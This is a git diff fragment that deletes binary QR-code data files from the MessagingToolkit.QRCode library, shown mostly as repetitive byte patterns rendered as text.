<;;::998]\\[[ZZYVVWWXXYY;;::9988VVWWXXYY''&&%%BAA@@??>VWWXXYYZ;::99887VWWXXYYZ-,,++**)88776655{{zzyyxxYZZ[[\\]87766554~~}}|YZZ[[\\]87766554YSSRRQQP~~}}||ZZ[[\\]]77665544~~}}||ZZ[[\\]]=<;:9988~~}}||{Z[[\\]]^76655443~~}}||{Z[[\\]]^)((''&&%44332211wwvvuutt]^^__``a43322110|{{zzyyx]^^__``a43322110POONNMML{{zzyyxx^^__``aa33221100{{zzyyxx^^__``aa77665544{zzyyxxw^__``aab3221100/{zzyyxxw^__``aab%$$##""!00//..--ssmmllkkabbccdde0//..--,xwwvvuutabbccdde0//..--,LKKJJIIHwwvvuuttbbccddee//..--,,wwvvuuttbbccddee33221100wvvuuttsbccddeef/..--,,+wvvuuttsbccddeef!  ,,++**))jjiihhgg~~}}|effgghhi !,++**))(tssrrqqpeffgghhi !,++**))(HGGFFEEDssrrqqppffgghhii !!++**))((ssrrqqppffgghhii !!//..--,,srrqqppofgghhiij !!"+**))(('srrqqppofgghhiij !!" !!""##$$((''&&%%ffeeddcc|{{zzyyxijjkkllm!""##$$%(''&&%%$poonnmmlijjkkllm!""##$$%(''&&%%$DCCBBAA@oonnmmlljjkkllmm""##$$%%''&&%%$$oonnmmlljjkkllmm""##$$%% ++**))((onnmmllkjkkllmmn"##$$%%&'&&%%$$#onnmmllkjkkllmmn"##$$%%& - - -%%&&''(($$##""!!bbaa``__xwwvvuutmnnooppq%&&''(()$##""!! lkkjjiihmnnooppq%&&''(()$##""!! @??99887kkjjiihhnnooppqq&&''(())##""!! kkjjiihhnnooppqq&&''(()) - - ''&&%%$#kjjiihhgnooppqqr&''(())*#""!! kjjiihhgnooppqqr&''(())* - ))**++,, ^^]]\\[[tssrqponqrrssttu)**++,,- hggffeedqrrssttu)**++,,- 76655443ggffeeddrrssttuu**++,,--ggffeeddrrssttuu**++,,--"! gffeeddcrssttuuv*++,,--.gffeeddcrssttuuv*++,,--. --..//00ZZYYSSRRmmllkkjjuvvwwxxy-..//001dccbbaa`uvvwwxxy-..//0013221100/ccbbaa``vvwwxxyy..//0011ccbbaa``vvwwxxyy..//0011 - -cbbaa``_vwwxxyyz.//00112cbbaa``_vwwxxyyz.//00112 - - 11223344QQPPOONNiihhggffyzz{{||}12233445`__^^]]\yzz{{||}12233445/..--,,+__^^]]\\zz{{||}}22334455__^^]]\\zz{{||}}22334455 _^^]]\\[z{{||}}~23344556_^^]]\\[z{{||}}~23344556 - - 55667788MMLLKKJJeeddccbb}~~56677889\[[ZZYYX}~~56677889+**))(('[[ZZYYXX~~66778899[[ZZYYXX~~66778899[ZZYYXXW~6778899:[ZZYYXXW~6778899: 99::;;<< IIHHGGFFaa``__^^9::;;<<= XWWVVUUT9::;;<<= '&&%%WWVVUUTT::;;<<== WWVVUUTT::;;<<== WVVUUTTS:;;<<==> WVVUUTTS:;;<<==>%%&&'==>>??@@ - - EEDDCCBB]]\\[[ZZ=>>??@@A - - TSSRRQQP=>>??@@A - - SSRRQQPP>>??@@AA - - SSRRQQPP>>??@@AA - - SRRQQPPO>??@@AAB - - SRRQQPPO>??@@AAB'(())**+AABBCCDDAA@@??99YYXWVUTSABBCCDDEPOONNMMLABBCCDDEOONNMMLLBBCCDDEEOONNMMLLBBCCDDEE ONNMMLLKBCCDDEEFONNMMLLKBCCDDEEF+,,--../EEFFGGHH88776655SRRQQPPOEFFGGHHILKKJJIIHEFFGGHHIKKJJIIHHFFGGHHIIKKJJIIHHFFGGHHII%%&&''KJJIIHHGFGGHHIIJKJJIIHHGFGGHHIIJ/0011223 IIJJKKLL44332211ONNMMLLKIJJKKLLMHGGFFEEDIJJKKLLM GGFFEEDDJJKKLLMMGGFFEEDDJJKKLLMM(())**++GFFEEDDCJKKLLMMNGFFEEDDCJKKLLMMN34455667 !!""##$MMNNOOPP00//..--KJJIIHHGMNNOOPPQ DCCBBAA@MNNOOPPQ - -  -CCBBAA@@NNOOPPQQ CCBBAA@@NNOOPPQQ,,--..// -CBBAA@@?NOOPPQQR -CBBAA@@?NOOPPQQR78899??@$%%&&''(QQRRSSTT - - ,,++**))GFFEEDDCQRRSSTTU - - @??>>==>==<>==<>==<<;RSSTTUUV - ?>>==<<;RSSTTUUV@AABBCCD())**++,UUVVWWXX ((''&&%%CBBAA@@?UVVWWXXY <;;::998UVVWWXXY;;::9988VVWWXXYY;;::9988VVWWXXYY44556677;::99887VWWXXYYZ;::99887VWWXXYYZDEEFFGGH,--..//0YYZZ[[\\?>=<;:99~~}}|YZZ[[\\]87766554~~}}|YZZ[[\\] 77665544~~}}||ZZ[[\\]]77665544~~}}||ZZ[[\\]]8899??@@76655443~~}}||{Z[[\\]]^76655443~~}}||{Z[[\\]]^HIIJJKKL01122334]]^^__``88776655|{{zzyyx]^^__``a43322110|{{zzyyx]^^__``a - - 33221100{{zzyyxx^^__``aa33221100{{zzyyxx^^__``aaAABBCCDD3221100/{zzyyxxw^__``aab3221100/{zzyyxxw^__``aabLMMNNOOP45566778aabbccdd44332211xwwvvuutabbccdde0//..--,xwwvvuutabbccdde%%& //..--,,wwvvuuttbbccddee//..--,,wwvvuuttbbccddeeEEFFGGHH/..--,,+wvvuuttsbccddeef/..--,,+wvvuuttsbccddeefPQQRRSSY899::;;>??@iijjkkll!!""##$$ ,,++**))poonnmmlijjkkllm!""##$$%(''&&%%$poonnmmlijjkkllm*++,,--.''&&%%$$oonnmmlljjkkllmm""##$$%%''&&%%$$oonnmmlljjkkllmmMMNNOOPP"##$$%%&'&&%%$$#onnmmllkjkkllmmn"##$$%%&'&&%%$$#onnmmllkjkkllmmn]^^__``a@AABBCCDmmnnoopp%%&&''(( - - ((''&&%%lkkjjiihmnnooppq%&&''(()$##""!! lkkjjiihmnnooppq.//00112##""!! kkjjiihhnnooppqq&&''(())##""!! kkjjiihhnnooppqqQQRRSSYY&''(())*#""!! kjjiihhgnooppqqr&''(())*#""!! kjjiihhgnooppqqrabbccddeDEEFFGGHqqrrsstt))**++,,$#"! hggffeedqrrssttu)**++,,- hggffeedqrrssttu23344556 !"ggffeeddrrssttuu**++,,--ggffeeddrrssttuuZZ[[\\]]*++,,--.gffeeddcrssttuuv*++,,--.gffeeddcrssttuuveffgghhiHIIJJKKLuuvvwwxx--..//00 dccbbaa`uvvwwxxy-..//001dccbbaa`uvvwwxxy6778899?#$%%&&''ccbbaa``vvwwxxyy..//0011ccbbaa``vvwwxxyy^^__``aa.//00112cbbaa``_vwwxxyyz.//00112cbbaa``_vwwxxyyzijjkkllmLMMNNOOPyyzz{{||11223344 - - `__^^]]\yzz{{||}12233445`__^^]]\yzz{{||}?@@AABBC(())**++__^^]]\\zz{{||}}22334455__^^]]\\zz{{||}}bbccddee23344556_^^]]\\[z{{||}}~23344556_^^]]\\[z{{||}}~mssttuuvPQQRRSST}}~~55667788\[[ZZYYX}~~56677889\[[ZZYYX}~~CDDEEFFG,,--..//[[ZZYYXX~~66778899[[ZZYYXX~~ffgghhii6778899:[ZZYYXXW~6778899:[ZZYYXXW~vwwxxyyzTUUVVWWX99::;;<<XWWVVUUT9::;;<<= XWWVVUUTGHHIIJJK00112233 WWVVUUTT::;;<<== WWVVUUTTjjkkllmm:;;<<==> WVVUUTTS:;;<<==> WVVUUTTSz{{||}}~XYYZZ[[\==>>??@@ -TSSRRQQP=>>??@@A - - TSSRRQQPKLLMMNNO44556677 - - SSRRQQPP>>??@@AA - - SSRRQQPPssttuuvv>??@@AAB - - SRRQQPPO>??@@AAB - - SRRQQPPO~\]]^^__`AABBCCDD - POONNMMLABBCCDDEPOONNMMLOPPQQRRS8899:;<=OONNMMLLBBCCDDEEOONNMMLLwwxxyyzzBCCDDEEFONNMMLLKBCCDDEEFONNMMLLK`aabbccdEEFFGGHH%%&&LKKJJIIHEFFGGHHILKKJJIIHSYYZZ[[\>??@@AABKKJJIIHHFFGGHHIIKKJJIIHH{{||}}~~FGGHHIIJKJJIIHHGFGGHHIIJKJJIIHHGdeeffgghIIJJKKLL''(())**HGGFFEEDIJJKKLLMHGGFFEED\]]^^__`BCCDDEEFGGFFEEDDJJKKLLMMGGFFEEDDJKKLLMMNGFFEEDDCJKKLLMMNGFFEEDDC~~}hiijjkklMMNNOOPP++,,--.. DCCBBAA@MNNOOPPQ DCCBBAA@`aabbccdFGGHHIIJ CCBBAA@@NNOOPPQQ CCBBAA@@NOOPPQQR -CBBAA@@?NOOPPQQR -CBBAA@@?}||{{zzylmmnnoopQQRRSSTT//001122 - - @??>>==>==>==<>==<<RSSTTUUV - ?>>==<<;RSSTTUUV - ?>>==<<;~~}}||{yxxwwvvupqqrrsstUUVVWWXX33445566 <;;::998UVVWWXXY <;;::998hiijjkklNOOPPQQR;;::9988VVWWXXYY;;::9988~~}}||{{VWWXXYYZ;::99887VWWXXYYZ;::99887{zzyyxxwuttssrrqtuuvvwwx~~}}YYZZ[[\\778899??87766554~~}}|YZZ[[\\]87766554~~}}|lmmssttuRSSTUVWX77665544~~}}||ZZ[[\\]]77665544zzyyxxw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tbAdZr˂ptlJZp˂vpfHr˂pnXv`QJ`ےvpfHr˂pnXv`QJ`ے`vXnlJtAXv`fdQZ|vpfHlJtAXv`ftbdQZ˂pZHlJtAJ`ےQZ|d˂pZHlJtAJ`ےQZ|dpZHApfH~|drQt-------------------................................... \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_3.dat deleted file mode 100644 index 5487dd4..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv32_3.dat +++ /dev/null @@ -1,289 +0,0 @@ -}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmmmnmnmnlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTST}~}~}~}~{|{|{|{|yxwxwxwxuvuvuvuvststststqrqrqrqrmnmnmnmnlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTST}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststqrqrqrqpmnmnmnmnlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWVUSTSTSTST}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTST}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmnmnlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTST}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmnmnmmmmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSSSSSSTS}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopmmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTS}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTS}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTS}~}~}~}~{|{|{|{|wxwxwxwxuvuvuvuvststststopopopopnmnmnmnmlklklklkhghghghgfefefefedcdcdcdcbabababa^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTS}~}~}~}~{zyzyzyzwxwxwxwxuvuvuvuvststststopopopopnmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUTSTSTSTSQRQRQRQR}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopnmnmmmmmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSSSSSTSTQRQRQRQR}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQR}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQR}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQR}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQR}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmnmnmnjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSTQRQRQRQR}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopmnmmmmmmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSSSSSTQRQRQRQR}~}~}~}~yzyzyzyzwxwxwxwxuvuvuvuvststststopopopopnmnmnmnmjijijijihghghghgfefefefedcdcdcdc`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYVUVUVUVUSTSTSTSRQRQRQRQR}|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvsrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQRQRQRQRQP{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP{|{|{|{|yzyzyzyzwxwxwxwxuvuvuvuvqrqrqrqropopopoplklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[XWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxutstststqrqrqrqropopopoplklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopoplklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropopopoplklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUVUVUQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqropoponmnlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWVUVUTSTSQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmmmmlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWTSTSSSSSQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwxwxwxwxststststqrqrqrqrmnmnmnmnlklklklkjijijijihghghghgdcdcdcdcbabababa`_`_`_`_^]^]^]^]ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzwvuvuvuvststststqrqrqrqrmnmnmnmnlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWSTSTSTSTQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmnmnmnmmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWSTSSSSSSQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrmmmmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrnmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSTSTSTSQRQRQRQROPOPOPOP}~}~}~}~{|{|{|{|yzyzyzyzuvuvuvuvststststqrqrqrqrnmnmnmmmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_\[\[\[\[ZYZYZYZYXWXWXWXWTSSSSSSTQRQRQRQROPOPOPOPOPOPOPOPMNMNMNMNIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCD?@?@?@?@=>=>=>=>9:9:9:9:8787878765656565434343430/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)&%&%&%&%$#$#$#$#     - - - -OPOPOPOPMNMNMNMLIJIJIJIJGHGHGHGHEFEFEFEFCDCDCDCB?@?@?@?@=>=>=>=>9:9:9:9:8787878765656565434343210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)('&%&%&%&%$#$#$#$#      - - - -OPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>9:9:99998787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#      - - - -OPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>99:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#         - - - -OPOPOPOPKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEFABABABAB?@?@?@?@=>=>=>=>:9:999998787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+('('('('&%&%&%&%$#$#$#$#       - - - -OPOPOPONKLKLKLKLIJIJIJIJGHGHGHGHEFEFEFEDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878765656543212121210/0/0/0/.-.-.-.-,+,+,+*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=>=>9:9:9:9:8787878743434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#$#$#         - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@=>=>=<;<9:9:9:9:8787878743434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%$#$#"!"!         - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:8787878743434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:8787878743434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!        - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9999998787878743434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!       - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGHCDCDCDCDABABABAB?@?@?@?@;<;<;<;<:9:9:9:98787878743434343212121210/0/0/0/.-.-.-.-*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - - -MNMNMNMNKLKLKLKLIJIJIJIJGHGHGHGFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<:9:9:9:98787876543434343212121210/0/0/0/.-.-.-,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         - - MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<:9:9:9:96565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<:999999:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!        MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<9:9:9:9:6565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!         MNMNMNMNKLKLKLKLIJIJIJIJEFEFEFEFCDCDCDCDABABABAB?@?@?@?@;<;<;<;<999999:96565656543434343212121210/0/0/0/,+,+,+,+*)*)*)*)('('('('&%&%&%&%"!"!"!"!       MNMNMNMNKLKLKLKLIJIJIJIHEFEFEFEFCDCDCDCDABABABAB?@?@?@?>;<;<;<;<:9:9:9876565656543434343212121210/0/0/.-,+,+,+,+*)*)*)*)('('('('&%&%&%$#"!"!"!"!       - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<87878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<87878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<87878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<87878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<87878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<87878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - -MNMNMNMNKLKLKLKLGHGHGHGHEFEFEFEFCDCDCDCDABABABAB=>=>=>=>;<;<;<;<87878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('$#$#$#$#"!"!"!"!     - - - 